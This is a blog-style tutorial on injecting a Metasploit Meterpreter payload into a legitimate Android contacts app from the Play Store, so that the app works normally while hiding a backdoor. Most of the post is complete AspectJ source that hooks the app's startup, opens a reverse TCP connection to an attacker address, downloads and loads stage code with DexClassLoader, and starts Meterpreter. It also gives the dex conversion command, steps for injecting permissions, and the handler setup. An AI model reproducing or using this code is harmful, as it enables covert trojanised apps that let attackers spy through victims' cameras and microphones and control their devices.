Android App Meterpreter Injection

In this post, I'll take you through injecting a meterpreter into an Android app. If you've been paying attention, metasploit released an Android Meterpreter payload some time back. The payload includes scary stuff - you can snap photos with any of the Android's cameras, record audio, drop into a shell, and pretty much ruin the user's day.

android_ms_cam

That's all great! However, the only current method of delivery is to generate the payload as an .apk and convincing the end user to install the app. This app, as the user will soon find out, does apparently nothing, and although plenty is going on in the background there is no user interaction. Users will, if you can convince them to download the app, will soon become disinterested.. they may even uninstall your newly minted metasploit backdoor. Ho hum.

But what if we could take the latest release of a popular app, do some metasploit injection magic, and produce an app which looks, feels, and functions exactly as it's supposed to, but also contains a metasploit payload? Enter Bytecode Instrumentation.

If you haven't read my previous post on the subject, bytecode instrumentation simply modifies the opcodes of a given app. Originally, it was used to inject run-time permissions for pesky, over-provisioned apps. But hey, who cares about what something was ''designed'' to do?

So, let's start with a fresh APK. Pick your app from the Play Store, grab it's package name, and head on over to Evozi.com to download the file directly to your machine.

Once we have that, we'll use a meterpreter aspect with a pointcut on an Activity's 'onCreate()' function (I'll leave AOJ syntax tutorials for the web):

   public aspect revtcp {
       private static Context _context = null;
       
       pointcut onCreateCall() : execution(* *.onCreate(..)) 
                                 && within (com.dw.contacts.activities.ContactsActivity);
       
       before() : onCreateCall() {
           System.out.println("* Apphack intercepted execution!");
           setContext(); 
       
           if (_context != null)
               startWithContext();
       }
       
       private void setContext() {
           try {
               Method localMethod = Class.forName("android.app.ActivityThread").getMethod("currentApplication", new Class0);
               _context = (Context)localMethod.invoke(null, (Object)null);
           } catch (Exception e) {
               System.out.println("! Exception grabbing context");
           }
       }
       
       public  void startWithContext() {
           System.setProperty("user.dir", _context.getFilesDir().getAbsolutePath());
           startAsync();
       }
       
       public void startAsync() {
           new Thread()
           {
             public void run()
             {
                 rinseAndRepeat(); 
             }
           }
           .start();
       }
       
       public void rinseAndRepeat() {
         int i = 15;
         while (!startReverseConn()) {
           System.out.println("- loop.. we arent done with the connection yet");
           int j = i - 1;
           if (i <= 0)
               break;
           try {
               Thread.sleep(1000);
               i = j;
           } catch (InterruptedException localInterruptedException) {
               i = j;
           }
         }
       }
       
       private boolean startReverseConn() {
           System.out.println("- Starting 'start reverse conection'");
           try {
               reverseTCP();
           } catch (Exception localException) {
               System.out.println("- Caught exception: " + localException);
               return false;
           }
           return true;
       }
       
       private void reverseTCP()  throws Exception {
           System.out.println("- Starting reverse tcp");
           Socket localSocket = new Socket("192.168.2.13", Integer.parseInt("4445"));
           loadStage(new DataInputStream(localSocket.getInputStream()), new DataOutputStream(localSocket.getOutputStream()), null, new String0);
           return;
       }
       
       private  void loadStage(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String paramArrayOfString)
       throws Exception  {
           
           System.setProperty("user.dir", _context.getFilesDir().getAbsolutePath());
           System.out.println("- Current Directory: " + _context.getFilesDir().getAbsolutePath());
       
           
           System.out.println("- Starting loading of stage data");
           String str1 = new File(".").getAbsolutePath();
           String str2 = str1 + File.separatorChar + "payload.jar";
           String str3 = str1 + File.separatorChar + "payload.dex";
           System.out.println("- Str1 baseDirectory: " +str1);
           System.out.println("- Str2 payload.jar " +str2);
           System.out.println("- Str3 payload.dex: " +str3);
         
           byte arrayOfByte1 = new byteparamDataInputStream.readInt();
           paramDataInputStream.readFully(arrayOfByte1);
           String str4 = new String(arrayOfByte1);
           System.out.println("- Class to load: " + str4);
           
           byte arrayOfByte2 = new byteparamDataInputStream.readInt();
           paramDataInputStream.readFully(arrayOfByte2);
           
           File localFile = new File(str2);
           
           if (!localFile.exists())
             localFile.createNewFile();
       
           FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
           localFileOutputStream.write(arrayOfByte2);
           localFileOutputStream.flush();
           localFileOutputStream.close();
           
           Class localClass = new DexClassLoader(str2, str1, str1, ContactsActivity.class.getClassLoader()).loadClass(str4);
           Object localObject = localClass.newInstance();
           
           localFile.delete();
           new File(str3).delete();
           
           MetStart(paramDataInputStream, paramOutputStream, _context);
       
         }
       
       public void MetStart(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext)
               throws Exception
             {
               System.out.println("* Starting meterpreter.");
               String str1 = new File(".").getAbsolutePath();
               String str2 = str1 + File.separatorChar + "met.jar";
               String str3 = str1 + File.separatorChar + "met.dex";
               byte arrayOfByte = new byteparamDataInputStream.readInt();
               paramDataInputStream.readFully(arrayOfByte);
               File localFile = new File(str2);
               if (!localFile.exists())
                 localFile.createNewFile();
               FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
               localFileOutputStream.write(arrayOfByte);
               localFileOutputStream.flush();
               localFileOutputStream.close();
               Class localClass = new DexClassLoader(str2, str1, str1, ContactsActivity.class.getClassLoader()).loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
               localFile.delete();
               new File(str3).delete();
               Class arrayOfClass = new Class4;
               arrayOfClass0 = DataInputStream.class;
               arrayOfClass1 = OutputStream.class;
               arrayOfClass2 = Context.class;
               arrayOfClass3 = Boolean.TYPE;
               Constructor localConstructor = localClass.getConstructor(arrayOfClass);
               Object arrayOfObject = new Object4;
               arrayOfObject0 = paramDataInputStream;
               arrayOfObject1 = paramOutputStream;
               arrayOfObject2 = paramContext;
               arrayOfObject3 = Boolean.valueOf(false);
               localConstructor.newInstance(arrayOfObject);
             }
   }

Compilation time

This aspect, compiled with AJC (the aspectJ compiler), pops out a nice .jar file which we convert to the Dalvik style with D2J-Jar2Dex.

d2j-jar2dex.sh -f -o classes.dex output/out.jar

Don't forget about permissions!

So, you applied your aspect, converted it to dalvik, threw it in your APK and went off to the races thinking you were done? Well, so did I -- I forgot about all the new permissions these apps will have to request! (Android permissions model works at the OS level, so there will be no avoiding this necessity without rooting the device, or perhaps exploiting kernel bugs). Anyways, a few scripts later, and utilizing APKTool, I was able to inject all required permissions to the AndroidManifest within the APK.

Install

Install the APK to your device by whatever means you feel proper. (This would be tricky with an emulator, as it runs within a QEMU and network interfaces are local to it).

Fire up your handler

In metaspoit, fire up your listener. (I used exploit/multi/handler, with the android/meterpreter/reverse_tcp payload).

Profit

First is the application on which I injected the Android meterpreter (DW Contacts), and below is my msfconsole.

dw_w_android_metasploit

android_wc_exploit.png

Notes

android_wc_cap.jpeg